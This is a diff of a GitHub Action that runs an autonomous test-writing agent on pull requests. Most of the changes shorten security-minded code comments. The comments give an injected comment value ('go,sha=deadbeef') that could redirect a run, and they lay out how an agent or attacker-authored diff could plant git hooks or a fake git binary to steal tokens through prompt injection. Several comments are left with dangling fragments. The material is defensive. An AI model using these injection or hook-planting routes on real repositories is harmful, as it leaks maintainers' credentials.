(!stale?.workflow) { notice(`Test Companion: left an untagged stale proposal on #${pr.number} rather than sweeping the whole commit.`) continue @@ -1485,7 +1455,7 @@ function sweepExpiredProposals() { const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) if (existing) rememberCheck(sha, existing) - // "Action required", per FR-44 — checkConclusion already maps Could not run + // "Action required", by design — checkConclusion already maps Could not run // to exactly that, and never to neutral, which branch protection reads as a pass. postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, sha) replyOnPr( @@ -1497,7 +1467,7 @@ function sweepExpiredProposals() { } /** - * What the pipeline file binds to this event, with every value resolved — FR-43. + * What the pipeline file binds to this event, with every value resolved. * * Asks the CLI rather than parsing the YAML here: one parser, one schema, one * place for it to drift. Returns undefined when the read fails, which @@ -1545,7 +1515,7 @@ function pickBinding(doc, workflow) { } /** - * A plain reply in the thread — FR-33, FR-34. + * A plain reply in the thread. * * Deliberately NOT the tracked run comment: it carries no COMMENT_MARKER, so a * later run neither overwrites a refusal nor adopts one as the place it reports. @@ -1555,23 +1525,17 @@ function replyOnPr(pr, body) { gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--method", "POST", "--input", "-"], { body }) } -/** FR-29: one comment, edited in place. */ /** * Mark the approved plan spent, ON THE PROPOSAL ITSELF. * - * The marker used to go only into the shared result comment, which every later - * run REPLACES — `postComment` PATCHes the whole body. So the moment any other - * run posted, the record that a plan had been approved was gone, `findProposal` - * offered it as waiting again, and a bare `go` re-ran a `--yolo` job. Observed - * on the live test pull request: two plans approved on one commit and not one - * consumed marker left in the comment (CodeRabbit, PR #3286). - * - * A proposal comment is written once and never rewritten, so the marker lasts - * there. spentPlans reads every comment of ours, so it finds it either way. + * Put in the shared result comment it would not survive: every later run + * REPLACES that body, so the record of an approval disappears, `findProposal` + * offers the plan as waiting again, and a bare `go` re-runs a `--yolo` job. + * A proposal comment is written once and never rewritten, so the marker + * lasts there. * - * Best effort: failing to mark it is bad, but it must not take down a run that - * has already done its work. The run reports what it did; the worst case is - * the old behaviour. + * Best effort: failing to mark it must not take down a run that has already + * done its work. */ function markPlanSpent(planId, marker) { if (!planId || !marker) return @@ -1584,12 +1548,12 @@ function markPlanSpent(planId, marker) { function postComment(pr, view) { // `--slurp` matters: without it `gh --paginate` prints ONE JSON ARRAY PER // PAGE, so the output of a pull request with more than 30 comments is - // `[...][...]`, JSON.parse throws, gh() returns null and `existing` becomes + // `[...][...]`, JSON.parse throws, gh returns null and `existing` becomes // []. Every run then posted a NEW comment instead of editing its own, which - // is the single-comment guarantee in FR-29 (review finding, PR #3030). + // is the single-comment guarantee in (review finding, ). const existing = flattenPages(gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--paginate", "--slurp"])) const choice = chooseCommentAction(existing, botLogin) - // M5 (review of #3101): an approved proposal must stop looking like one. + // M5: an approved proposal must stop looking like one. // Without this a second `go` reran the job, and a day later the sweep told // the person their approved plan had gone unanswered. const body = { body: renderComment(view) + (view.consumedMarker ? `\n${view.consumedMarker}` : "") } @@ -1600,15 +1564,14 @@ function postComment(pr, view) { } } -// Spec section "The package itself crashes after the job finishes": the -// customer gets no tick and no comment, which is WORSE than a red tick — -// anyone who made the check required is blocked by a check that never arrives, -// with nothing on the pull request saying why. +// A crash after the job finishes would leave no tick and no comment, which +// is worse than a red tick: anyone who made the check required is blocked by +// a check that never arrives, with nothing on the pull request saying why. // -// finishSkipped and the normal path both exit(0) from inside main, so reaching -// the catch at all means something unexpected threw. Report it as "Could not -// run", which is precisely what happened, and still exit 0 so the build-effect -// step is what decides whether the build goes red. +// finishSkipped and the normal path both exit(0) from inside main, so +// reaching this catch means something unexpected threw. Report it as "Could +// not run" and still exit 0, so the build-effect step decides whether the +// build goes red. try { await main() } catch (e) { diff --git a/test-companion/src/outcome.mjs b/test-companion/src/outcome.mjs index 9dd6bb5..4a9d87e 100644 --- a/test-companion/src/outcome.mjs +++ b/test-companion/src/outcome.mjs @@ -1,32 +1,29 @@ /** - * What happened, in the five words the PRD specifies — STM-3663 FR-30, FR-48, FR-9. + * What happened, in five words. * - * The CLI already distinguishes these cases, but across two channels: an exit - * code (a stable contract — scripts branch on it) and a report file. Neither is - * sufficient alone. Exit 4 covers a crash, a time ceiling AND a version-pin - * mismatch, so only the report tells a ceiling from a crash; and a report can be - * absent entirely if the process was killed. + * The CLI distinguishes these cases across two channels, and neither is + * sufficient alone: the exit code is a stable contract but exit 4 covers a + * crash, a time ceiling AND a version-pin mismatch, while the report file + * separates them but is absent if the process was killed. * - * Three separate questions come out of that, and conflating them was the bug in - * the first place: - * - what happened → resolveOutcome (the five labels) - * - what the check says → checkConclusion (FR-48, never neutral) - * - whether the step is red → stepShouldFail (FR-9, the repo's own choice) + * Three separate questions, kept apart deliberately: + * - what happened → resolveOutcome (the five labels) + * - what the check says → checkConclusion + * - whether the step is red → stepShouldFail * * The check always reports truthfully. The build effect only governs the step. */ -/** The five outcomes, spelled exactly as FR-30 requires. */ +/** The five outcomes, spelled exactly. */ export const OUTCOMES = Object.freeze({ SUCCEEDED: "Succeeded", TESTS_FAILED: "Tests failed", RUN_BROKE: "Run broke", STOPPED_AT_LIMIT: "Stopped at limit", COULD_NOT_RUN: "Could not run", - // Not one of FR-30's five. Those describe a run that HAPPENED; this says - // none did, which the Action already reports for a draft PR, a fork, an - // unaddressed comment and a repository with no pipeline file. An event - // nothing is bound to belongs with those, not with the five. + // Not one of the five. Those describe a run that HAPPENED; this says none + // did — a draft PR, a fork, an unaddressed comment, no pipeline file, or + // an event nothing is bound to. SKIPPED: "Skipped", }) @@ -57,14 +54,13 @@ export function parseSummary(text) { * passed, and never when the process was killed outright. */ export function resolveOutcome(exitCode, summary = {}) { - // The report wins over a success exit code. This is not hypothetical: a run - // with an expired BrowserStack session was observed exiting 0 with status - // "completed" having done nothing at all, which any CI step checking only the - // exit code would have read as green. // Nothing was bound to this event, so nothing ran. Checked before the // report-wins rule below, which would otherwise read "not succeeded" as a - // breakage and put a red check on a commit that was never meant to run - // anything (review finding, PR #3030). + // breakage and redden a commit that was never meant to run anything. + // + // The report then wins over a success exit code: a run with an expired + // BrowserStack session can exit 0 having done nothing at all, which a CI + // step checking only the exit code reads as green. if (summary.outcome === "skipped") { return OUTCOMES.SKIPPED } @@ -87,8 +83,8 @@ export function resolveOutcome(exitCode, summary = {}) { // ExitAuth: not signed in. case 3: return OUTCOMES.COULD_NOT_RUN - // ExitTaskBlocked: the turn finished but the task could not be performed — - // plan, entitlement, or a refusal. + // ExitTaskBlocked: the turn finished but the task could not be + // performed — plan, entitlement, or a refusal. case 7: return OUTCOMES.COULD_NOT_RUN // ExitUnansweredQuestion: headless promised to answer every ask and did @@ -102,7 +98,7 @@ export function resolveOutcome(exitCode, summary = {}) { } /** - * What the "Test Companion" check says — FR-48. + * What the "Test Companion" check says. * * Never `neutral`: branch protection treats a neutral check as a pass, so a * neutral conclusion would let a run that could not finish satisfy a required @@ -129,17 +125,11 @@ export function checkConclusion(outcome) { } /** - * One mark per outcome, so the heading reads at a glance. + * One mark per outcome, so the heading reads at a glance in a crowded thread. * - * "## Test Companion — Run broke" and "## Test Companion — Succeeded" look the - * same in a crowded pull request thread, and the one that needs attention is - * the one that blends in. - * - * Deliberately the four GitHub itself uses for the same ideas — a tick for - * done, a cross for a failing test, a warning for "somebody has to look" — - * rather than anything decorative. An outcome this Action has never heard of, - * which a newer CLI could report, gets no mark rather than a crash: losing the - * mark is cosmetic, losing the report is not. + * Deliberately the ones GitHub itself uses for the same ideas. An outcome a + * newer CLI reports and this Action has never heard of gets no mark rather + * than a crash: losing the mark is cosmetic, losing the report is not. */ const OUTCOME_MARKS = Object.freeze({ [OUTCOMES.SUCCEEDED]: "✅", @@ -171,7 +161,7 @@ function warnUnrecognisedBuildEffect(value) { ) } -/** What a repository can ask a bad outcome to do to its build — FR-9. */ +/** What a repository can ask a bad outcome to do to its build. */ export const BUILD_EFFECTS = Object.freeze({ /** Never red. The check still reports truthfully. */ REPORT: "report", @@ -189,29 +179,22 @@ export const BUILD_EFFECTS = Object.freeze({ const RUN_DID_NOT_WORK = new Set([OUTCOMES.RUN_BROKE, OUTCOMES.COULD_NOT_RUN, OUTCOMES.STOPPED_AT_LIMIT]) /** - * Whether the Action's own step goes red — FR-9. + * Whether the Action's own step goes red. * * Only ever governs the step. The check reports truthfully regardless, so a - * repository choosing `report` sees a red check and a green build, deliberately. + * repository choosing `report` sees a red check and a green build by choice. * - * THE DEFAULT CHANGED (STM-5434 demo feedback, item 6). It used to be `report`, - * so a run that broke passed silently unless somebody had opted in — which is - * not what anyone looking at a green tick would assume. The default is now - * `fail-on-break`: a run that did not work reddens the step, a run that worked - * and found failing tests does not. Making a test RESULT block the build is a - * larger decision than this one, and `fail` is still there for anyone who wants - * it. + * The default is `fail-on-break`: a run that did not work reddens the step, a + * run that worked and found failing tests does not. Making a test RESULT + * block the build is a larger decision, and `fail` is there for anyone who + * wants it. * - * Anything unrecognised behaves as the DEFAULT, which reverses the old rule. - * That rule — "a misconfiguration must never redden a build" — made sense while - * `report` was the default. Now that it is not, a typo buying a quieter setting - * than a fresh install gets is exactly the silent pass item 6 is about. A - * misspelling leaves you where you would have been having said nothing. + * Anything unrecognised behaves as the DEFAULT rather than as `report`, so a + * typo cannot buy a quieter setting than a fresh install gets. * - * `off` is still honoured as a synonym for `report` and is no longer - * documented: it never did anything `report` did not, and a workflow already - * saying it must not start failing builds because we stopped advertising the - * word. + * `off` is still honoured as a synonym for `report`, undocumented: a workflow + * already saying it must not start failing builds because we stopped + * advertising the word. */ export function stepShouldFail(buildEffect, outcome) { // Neither of these is a bad outcome. A skipped run is NO outcome, and @@ -223,10 +206,9 @@ export function stepShouldFail(buildEffect, outcome) { .toLowerCase() if (effect === BUILD_EFFECTS.REPORT || effect === "off") return false if (effect === BUILD_EFFECTS.FAIL) return true - // Anything else is the default, which now reddens — so say which value we - // did not recognise, or the reddening has no explanation anywhere - // (STM-5434 review, PR #3286). `build-effect: none` and `warn` are the - // likely spellings somebody reaches for. + // Anything else is the default, which reddens — so say which value we did + // not recognise, or the reddening has no explanation anywhere. `none` and + // `warn` are the likely spellings somebody reaches for. if (effect !== "" && effect !== BUILD_EFFECTS.FAIL_ON_BREAK) { warnUnrecognisedBuildEffect(effect) } @@ -234,22 +216,16 @@ export function stepShouldFail(buildEffect, outcome) { } /** - * Did this run use up the approval it was given — FR-43. + * Did this run use up the approval it was given? * * Replying `go` is spent by the run that carries the plan out, so a second - * `go` cannot quietly run the same work twice. That marker used to be written - * whatever happened, including to a run that never started. - * - * Found live (run 41463749519): an approved `fix` died in under a second - * because the dedupe claim had no credential to push with. No work, nothing - * written — and the comment still said the plan was spent. Every later `go` on - * that commit was refused, a fresh proposal included, and the only way out was - * a new commit. + * `go` cannot quietly run the same work twice. * - * So the question is whether a RUN happened, not whether it went well. Red - * tests and a ceiling both did the work and may have written some of it; + * The question is whether a RUN happened, not whether it went well. Red tests + * and a ceiling both did the work and may have written some of it; * re-running those would duplicate it and charge again. A run that broke or - * never started did neither, and the person should be able to simply ask again. + * never started did neither, so the person can simply ask again — otherwise a + * `fix` that dies in a second leaves the commit unapprovable for good. */ export function approvalWasSpent(outcome) { return outcome !== OUTCOMES.RUN_BROKE && outcome !== OUTCOMES.COULD_NOT_RUN && outcome !== OUTCOMES.SKIPPED diff --git a/test-companion/src/plan-run.mjs b/test-companion/src/plan-run.mjs index ded4af3..7aea45c 100644 --- a/test-companion/src/plan-run.mjs +++ b/test-companion/src/plan-run.mjs @@ -1,24 +1,19 @@ import { isApprovalOnly } from "./intent.mjs" /** - * Turn a GitHub event into a `tc workflow run` invocation — STM-3663 FR-14. + * Turn a GitHub event into a `tc workflow run` invocation. * - * This is the Action's main job, and the one place a mistake is expensive: the - * CLI deliberately refuses to look at GITHUB_* variables itself (there is a test - * pinning that, so the same CLI behaves identically on Jenkins), so every piece - * of context it gets comes from here. + * The CLI deliberately refuses to read GITHUB_* variables itself, so that the + * same CLI behaves identically on Jenkins. Every piece of context it gets + * comes from here. * - * Kept pure — payload in, plan out, no I/O — because the only other way to test - * this is to push a commit and wait for a runner, which is a several-minute loop - * per attempt. Everything decidable without a network lives here. + * Pure — payload in, plan out, no I/O — because the only other way to test it + * is to push a commit and wait for a runner. * - * ── The event vocabulary is a public contract ──────────────────────────────── - * `--event` is free text to the CLI; it is matched against whatever the customer - * wrote in their pipeline file's `on:` field. So the names below ARE the API. - * Changing one later silently stops matching every pipeline file that used it — - * no error, the binding just never fires. Add names; do not rename them. - * - * `pr_merged`, `schedule` and `build_failed` already appear in the shipped CLI's - * tests and in the published CI guide, so those three are fixed by precedent. + * ── The event vocabulary is a public contract ─────────────────────────────── + * `--event` is free text to the CLI, matched against whatever the customer + * wrote in their pipeline file's `on:` field. The names below ARE the API: + * renaming one silently stops matching every pipeline that used it, with no + * error — the binding just never fires. Add names; do not rename them. */ /** Every event name a pipeline file may bind to. */ @@ -65,42 +60,39 @@ const ALLOWED_CONTEXT_KEYS = new Set([ "task", "instructions", "actor", - // FR-37: the ticket this change is for, found in the branch, title or body. + // the ticket this change is for, found in the branch, title or body. "ticket", - // FR-43: the approved plan this run must carry out, written by the Action. + // the approved plan this run must carry out, written by the Action. "plan_file", - // FR-44: how large the change is, when it is too big to cover in one go. + // how large the change is, when it is too big to cover in one go. "focus", - // FR-43: this run is the gate's planning pass — plan, do not write. + // this run is the gate's planning pass — plan, do not write. "propose_only", ]) /** - * `--context` is a comma-separated `k=v` list, so a value containing `,` or `=` - * can append keys of its own — a comment reading - * "@test-companion go,sha=deadbeef" would otherwise redirect the run at another - * commit. Comments and pull request titles are attacker-controlled on a public - * repo, so the separators are removed rather than escaped: keeping the prose - * readable matters more than keeping its punctuation. + * `--context` is a comma-separated `k=v` list, so a value containing `,` or + * `=` can append keys of its own — "@test-companion go,sha=deadbeef" would + * redirect the run at another commit. Comments and titles are + * attacker-controlled on a public repo, so the separators are removed rather + * than escaped: readable prose matters more than its punctuation. + * + * `"` is here because pflag parses a multi-pair --context value as CSV, which + * rejects a bare quote — a PR titled `Fix "Pay now" button` failed flag + * parsing outright. contextArgs below is the real fix; this is the belt. */ -// `,` and `=` are the CLI's own separators. `"` is here because pflag parses a -// multi-pair --context value with encoding/csv, which rejects a bare quote in an -// unquoted field — a PR titled `Fix "Pay now" button` then failed flag parsing -// and the run reported "Could not run". contextArgs below is the real fix; this -// is the belt to its braces. const stripSeparators = (v) => String(v).replace(/[,="]/g, " ").replace(/\s+/g, " ").trim() /** * Fill a comment-triggered plan in with the pull request's own head commit. * - * `issue_comment` carries the issue number and nothing about the code: no sha, - * no branch, and `GITHUB_SHA` is the DEFAULT BRANCH tip for that event. So a - * run asked for on PR #42 read main, and its check landed on main's latest - * commit rather than the pull request's (review finding, PR #3030). + * `issue_comment` carries the issue number and nothing about the code: no + * sha, no branch, and `GITHUB_SHA` is the DEFAULT BRANCH tip for that event. + * Without this the run reads main and its check lands on main's latest + * commit. * - * Fails CLOSED. A head repository that is missing, or not ours, is treated as a - * fork and skipped — a comment is an untrusted trigger, and the whole point of - * the fork rule is that a stranger's branch never runs with our credentials. + * Fails CLOSED. A head repository that is missing, or not ours, is treated as + * a fork and skipped — a comment is an untrusted trigger. * * `pr` is the API's pull request object; `repo` is "owner/name" for this * repository. A plan that already names a commit is returned untouched. @@ -148,8 +140,8 @@ function cleanContext(pairs) { * Decide what, if anything, this event should run. * * Returns either `{skip: {reason}}` — a clean no-op the step reports and passes - * — or `{event?, workflow?, preview?, context}`. A manual run carries NO event, - * which is how the CLI is told to ignore the pipeline bindings (FR-12). + * or `{event?, workflow?, preview?, context}`. A manual run carries NO event, + * which is how the CLI is told to ignore the pipeline bindings. */ export function planRun({ eventName, payload = {}, inputs = {}, repo, sha, ref } = {}) { const built = route({ eventName, payload, inputs, repo, sha, ref }) @@ -205,7 +197,7 @@ function route({ eventName, payload, inputs, repo, sha, ref }) { } function fromComment(payload, inputs) { - // FR-33: an edit must not start a run, or correcting a typo in an old comment + // an edit must not start a run, or correcting a typo in an old comment // re-runs the job. if (payload.action !== "created") return skip("comment-edited", payload.action) // GitHub delivers pull request comments as issue_comment; only the presence @@ -215,33 +207,19 @@ function fromComment(payload, inputs) { const body = payload.comment?.body ?? "" const addressed = body.toLowerCase().includes(MENTION) - // FR-43: a waiting proposal says "Reply go to run this for real", and a - // person does exactly that — with no mention. The PRD's own user story has - // the SDET replying "go". Requiring the mention everywhere meant the - // proposal was instructing an action that could not work (found by the - // first approved run). - // - // EXACTLY the approval and nothing else. Opening with the word was not - // narrow enough: "Approved, but rename the login case" is an ordinary - // review comment on any pull request, and it started a live write run with - // "but rename the login case" carried in as approver edits that win - // (M3, review of #3101). - // - // Edits alongside an approval are still supported — FR-43 invites them — - // but then the person has to address us, which is the difference between - // talking to Test Companion and talking about the change. + // A bare approval needs no mention: the proposal says "Reply go to run + // this for real", and people do exactly that. // - // A PLAN REFERENCE is allowed after the word, and nothing else: `go #1234` - // or `go `, which is how you say WHICH plan when two are - // waiting (STM-5434 demo feedback, item 5). Found on a live run — readIntent - // and findProposal had both learned about it and this gate had not, so the - // comment was dropped as "no @test-companion mention" before the intent was - // ever read, and naming a plan only worked if you also addressed us. + // EXACTLY the approval and nothing else. Merely opening with the word is + // too wide — "Approved, but rename the login case" is an ordinary review + // comment, and it would start a live write run with the rest carried in + // as approver edits. Edits alongside an approval are still supported, but + // then the person has to address us. // - // Still narrow: six digits at least, and the reference must be the whole - // rest of the comment. "Approved, but rename the login case" is an ordinary - // review comment and still needs the mention, and so does "go and look at - // #25 too". + // A plan reference may follow the word and nothing else: `go #` or + // `go `, which is how you say WHICH plan when two are + // waiting. Six digits at least, and it must be the whole rest of the + // comment, so "go and look at #25 too" still needs the mention. const approvalOnly = !addressed && isApprovalOnly(body) if (!addressed && !approvalOnly) return skip("not-addressed-to-us") @@ -272,23 +250,20 @@ function fromComment(payload, inputs) { function fromPullRequest(payload, repo) { const p = payload.pull_request ?? {} - // FR-3: a fork's workflow gets a read-only token and no secrets, so a run - // would fail partway with a confusing permissions error. Refuse up front. + // A fork's workflow gets a read-only token and no secrets, so a run would + // fail partway with a confusing permissions error. Refuse up front. // - // Fails CLOSED, and that matters most for `pull_request_target`, which is - // routed here too: that trigger runs in the BASE repository's context WITH - // secrets even for a fork's pull request, so this check is the only thing in - // front of it — unlike `pull_request`, the no-credentials skip never fires. + // Fails CLOSED, which matters most for `pull_request_target`: that trigger + // runs in the BASE repository's context WITH secrets even for a fork's + // pull request, so this check is the only thing in front of it. // - // GitHub sets `head.repo` to null when the fork has been DELETED. The - // previous form required a truthy full_name before it would refuse, so a - // deleted fork sailed through: open a pull request from a fork, delete the - // fork, and the run executed attacker-authored code with our credentials - // and --yolo. fromWorkflowRun below already guards its own privileged - // trigger this way; this one did not. + // GitHub sets `head.repo` to null when the fork has been DELETED, so a + // missing repo must refuse too — otherwise opening a pull request from a + // fork and then deleting it runs attacker-authored code with our + // credentials and --yolo. // - // Compared case-insensitively, as workflow_run already does, because GitHub - // treats repository names that way. + // Compared case-insensitively, because GitHub treats repository names + // that way. const head = p.head?.repo?.full_name if (!repo || !head || head.toLowerCase() !== repo.toLowerCase()) { return skip("fork", head ?? "unknown-origin") @@ -308,7 +283,7 @@ function fromPullRequest(payload, repo) { } } - // FR-36: a draft never starts a run by itself. A comment still can, which is + // a draft never starts a run by itself. A comment still can, which is // why this sits here rather than in the comment path. if (p.draft) return skip("draft") @@ -325,7 +300,7 @@ function fromPullRequest(payload, repo) { // commit-scoped prompt — "the change in PR #N, commit SHA … covering only // what that change touches" — ONLY when no subject is given. Sending the // title made `generate` write cases for the title rather than the diff, - // which is the opposite of FR-15. + // which is the opposite of. context: { sha: p.head?.sha, branch: p.head?.ref, pr: String(p.number) }, } } @@ -346,7 +321,7 @@ function fromWorkflowRun(payload, inputs, repo) { return skip("fork", head ?? "unknown-origin") } - // FR-21: never explain our own red run, or a failing Test Companion check + // never explain our own red run, or a failing Test Companion check // triggers a run to explain the failing Test Companion check, forever. const self = inputs["self-workflow-name"] if (self && run.name === self) return skip("own-run", run.name) @@ -370,7 +345,7 @@ function fromManual(inputs, sha, ref) { if (!workflow) return skip("no-workflow-named", "workflow_dispatch needs a `workflow` input") return { // Deliberately no event: that is how the CLI is told to ignore the - // pipeline bindings and run exactly what was asked for (FR-12). + // pipeline bindings and run exactly what was asked for. workflow, preview: String(inputs.preview ?? "") === "true", context: { sha, branch: branchFromRef(ref) }, diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index bb9c264..6a9ca40 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -1,21 +1,16 @@ /** - * Keeping the work — STM-5434 FR-43. - * - * An approved run writes test code on the runner, and the runner is thrown - * away minutes later. Until this module existed there was no path by which any - * of it survived: the CLI opens a pull request only for the `automate` and - * `fix` jobs, so a `test-pr` run wrote eight passing tests and lost all eight. - * The approval gate exists to authorise exactly that write, which made the - * missing half the one thing the whole conversation was for. - * - * Where the work goes is already settled by FR-42, in access.mjs: "Tests go in - * the pull request's own repository by default." So a commit on the pull - * request's own branch, not a second pull request — a reviewer who asked for - * tests on their change wants them on their change. - * - * Everything here is a pure decision about strings. The git commands live at - * the call site in main.mjs, so every rule below is testable without a - * repository. + * Keeping the work. + * + * An approved run writes test code on a runner that is thrown away minutes + * later. The CLI opens a pull request only for the `automate` and `fix` jobs, + * so without this a `test-pr` run writes eight passing tests and loses all + * eight — the very write the approval gate exists to authorise. + * + * It lands as a commit on the pull request's own branch, not a second pull + * request: a reviewer who asked for tests on their change wants them there. + * + * Pure decisions about strings. The git commands live at the call site in + * main.mjs, so every rule below is testable without a repository. */ /** Who we commit as. Must match the identity action.yml configures. */ @@ -94,13 +89,11 @@ export function changedPaths(porcelain) { * Drop the status code, without assuming it is exactly two characters wide. * * Porcelain writes `XYpath`, and X or Y may itself be a space — " M" - * for an unstaged modification. A caller that trims git's whole stdout removes - * that leading space from the FIRST LINE ONLY, leaving `Mpath`. A fixed - * slice(3) then eats the first letter of the path, which is how run - * 40845669513 tried to add `ests/pricing.spec.js` and lost ten passing tests. - * - * The caller no longer trims, and this no longer assumes the width, because - * the version that assumed it passed every unit test and still failed live. + * for an unstaged modification. A caller that trims git's whole stdout + * removes that leading space from the FIRST LINE ONLY, leaving + * `Mpath`, and a fixed slice(3) then eats the first letter of the + * path: `tests/pricing.spec.js` becomes `ests/pricing.spec.js` and the file + * is never staged. */ function stripStatus(line) { if (line[2] === " ") return line.slice(3) @@ -112,22 +105,19 @@ function stripStatus(line) { * Decode a porcelain path. * * Git quotes a path containing a space, a quote, a backslash or — with - * `core.quotePath` on, which is the DEFAULT — any non-ASCII byte. Inside the - * quotes it uses C escapes: `\\303\\251` for the two bytes of "é", plus the - * usual `\\"`, `\\\\`, `\\n`, `\\t`. - * - * Stripping the quotes without decoding leaves a path that does not exist. - * `git add` with several pathspecs aborts on the FIRST miss and stages - * nothing, so a single accented filename lost every file an approved run had - * written — exactly what this module exists to prevent. - * - * The call site also passes `-c core.quotePath=false`, which stops the octal - * escaping at source. This decodes it regardless, so a repository that forces - * the setting back on cannot bring the bug back. - * - * Octal escapes are decoded as BYTES and then read as UTF-8 together, because - * one character is often several escapes and decoding them one at a time - * produces mojibake. + * `core.quotePath` on, which is the DEFAULT — any non-ASCII byte, using C + * escapes for the bytes plus the usual two-character ones. + * + * Stripping the quotes without decoding leaves a path that does not exist, + * and `git add` with several pathspecs aborts on the FIRST miss and stages + * nothing — so one accented filename loses every file the run produced. + * + * The call site also passes `-c core.quotePath=false`. This decodes anyway, + * so a repository that forces the setting back on cannot bring the bug back. + * + * Octal escapes are decoded as BYTES and then read as UTF-8 together: one + * character is often several escapes, and decoding them singly gives + * mojibake. */ function unquote(path) { if (!(path.startsWith('"') && path.endsWith('"') && path.length >= 2)) return path @@ -191,13 +181,13 @@ export function splitPushable(paths) { } /** - * What the pull request comment says about the push — FR-42's rule applied to - * this step: a write that did not happen is said out loud, because a silent - * skip reads as "there was nothing to write". + * What the pull request comment says about the push. + * + * A write that did not happen is said out loud, because a silent skip reads + * as "there was nothing to write". * - * The file list is not decoration. This is the only record of what an - * autonomous agent changed in someone's branch, and a reviewer who cannot see - * it has to diff the branch to find out. + * The file list is not decoration: it is the only record of what an + * autonomous agent changed in someone's branch. */ export function renderPushNote({ branch, sha, files = [], skipped = [], error } = {}) { const list = files.map((f) => `- \`${f}\``).join("\n") @@ -221,14 +211,12 @@ const countOf = (files) => (files.length === 1 ? "1 file" : `${files.length} fil /** * Is the working tree sitting on the commit we think it is? * - * On an `issue_comment` event GitHub checks out the DEFAULT branch, because the - * payload names no ref. main.mjs already corrects that where it resolves the - * comment's issue number into a head sha: it fetches that commit and detaches - * onto it. But that step is ADVISORY — it warns and carries on, so a proposal - * can still be built from the diff when the fetch fails. + * On an `issue_comment` event GitHub checks out the DEFAULT branch. main.mjs + * corrects that, but advisorily — it warns and carries on, so a proposal can + * still be built from the diff when the fetch fails. * - * Which makes this the check that the advisory step actually worked. Pushing - * from a tree that is not the reviewed commit would send the default branch's + * This is the check that the advisory step actually worked. Pushing from a + * tree that is not the reviewed commit would send the default branch's * content to the pull request's branch and clobber the change under review. * * Not knowing where we are is never a reason to push. @@ -247,14 +235,14 @@ export function needsCheckout({ headSha, wantSha } = {}) { /** * Is this branch in the repository we are running in? * - * Tri-state, like every other access answer here: undefined means we could not - * find out, and shouldDoPushWork treats that as a no. + * Tri-state, like every other access answer here: undefined means we could + * not find out, and shouldDoPushWork treats that as a no. * - * Takes the head repository's full name rather than fetching it, because where - * it comes from depends on the trigger. A comment names an issue, so main.mjs - * fetches the pull request to resolve a head sha; a pull_request event already - * carries it on the payload and nothing is fetched. Reading only the fetched - * object refused every pull_request-triggered push (run 40857884973). + * Takes the head repository's full name rather than fetching it, because + * where it comes from depends on the trigger: a comment makes main.mjs fetch + * the pull request, while a pull_request event already carries it on the + * payload. Reading only the fetched object refuses every + * pull_request-triggered push. */ export function isSameRepo(headRepoFullName, repo) { const head = String(headRepoFullName ?? "").trim() @@ -264,18 +252,16 @@ export function isSameRepo(headRepoFullName, repo) { } /** - * The git arguments that authenticate a push as the GitHub App — FR-4. + * The git arguments that authenticate a push as the GitHub App. * - * The App's installation token lives in GH_TOKEN, which only `gh` reads. The - * push is plain git, authenticating with whatever `actions/checkout` wrote - * into .git/config — the workflow token. So a team that followed our own - * advice and deleted the `permissions:` block, as action.yml and the starter - * both suggest, got a 403 on every approved run. + * The App's installation token lives in GH_TOKEN, which only `gh` reads, + * while the push is plain git authenticating with whatever + * `actions/checkout` wrote into .git/config. Without this, a team that + * deleted the `permissions:` block as we advise gets a 403 on every approved + * run. * - * Passed as configuration rather than baked into the remote URL: a token in a - * URL ends up in the reflog, in error messages and in `git remote -v`. This - * way it lives only in this one process's environment, and - * appInstallationToken has already masked it in the log. + * Passed as configuration rather than baked into the remote URL: a token in + * a URL ends up in the reflog, in error messages and in `git remote -v`. * * No token returns nothing, so the checkout's own credential is used — which * is correct whenever the App is not installed. @@ -317,16 +303,14 @@ export function pushUrlFor(repo, server = "https://github.com") { * * These run AFTER the agent, which has had --yolo write access to the working * tree. An agent that writes `.git/hooks/pre-commit` gets it executed by our - * `git commit`, with whatever environment we hand it — and that environment - * held TC_ACTION_APP_PRIVATE_KEY, GH_TOKEN and the customer's BrowserStack - * key, because spawnSync with no `env` inherits everything. - * - * On `pull_request_target` the diff under test is attacker-authored, so that - * is a prompt-injection away from a key leaving the runner. - * - * childEnvFor already does this for the AGENT's subprocess. This is the same - * reasoning applied to the commands that run after it. Proxy settings are kept - * because a push has to reach the network; nothing else is. + * `git commit`, with whatever environment we hand it — and spawnSync with no + * `env` inherits everything, including the App key, GH_TOKEN and the + * customer's BrowserStack key. On `pull_request_target` the diff under test + * is attacker-authored, so that is one prompt injection from a key leaving + * the runner. + * + * Proxy settings are kept because a push has to reach the network; nothing + * else is. */ export function gitEnvFrom(env = {}) { const out = {} @@ -352,29 +336,26 @@ export function gitEnvFrom(env = {}) { } /** - * Where the real git is, as an absolute path — or nothing, when we cannot find - * one we are sure of. - * - * `spawnSync("git", ...)` resolves through PATH, and on a GitHub runner several - * PATH directories are writable by the job's own user, which is also the user - * the agent just ran as. A planted `git` would receive the credential we pass - * in the environment. - * - * "Sure of" means: it exists, and WE cannot write it. A binary this process - * could overwrite is a binary the agent could have overwritten. - * - * What this does NOT survive: on a GitHub-hosted runner the job's user has - * passwordless sudo, so an agent that chose to could replace /usr/bin/git - * itself and the replacement would pass this check. Nothing inside this - * process can close that — the same access reaches our own source, node, and - * the token in our memory. It closes with containment, by running the agent - * somewhere that does not also hold the token, or by moving the commit to a - * job that never shares a filesystem with it. Both are bigger than this file. - * - * There is deliberately no fallback to the bare name. Falling back would - * reinstate the hole on exactly the machines where it matters, so the caller - * handles the absence instead — and for us that means skipping the commit, - * which is already how every other refusal in this module behaves. + * Where the real git is, as an absolute path — or nothing, when we cannot + * find one we are sure of. + * + * `spawnSync("git", ...)` resolves through PATH, and on a GitHub runner + * several PATH directories are writable by the job's own user, which is also + * the user the agent just ran as. A planted `git` would receive the + * credential we pass in the environment. + * + * "Sure of" means it exists and WE cannot write it: a binary this process + * could overwrite is one the agent could have overwritten. + * + * KNOWN LIMIT: the job's user has passwordless sudo on a GitHub-hosted + * runner, so an agent could replace /usr/bin/git itself and pass this check. + * Nothing inside this process can close that — the same access reaches our + * own source, node, and the token in memory. It closes only with + * containment. + * + * Deliberately no fallback to the bare name: falling back would 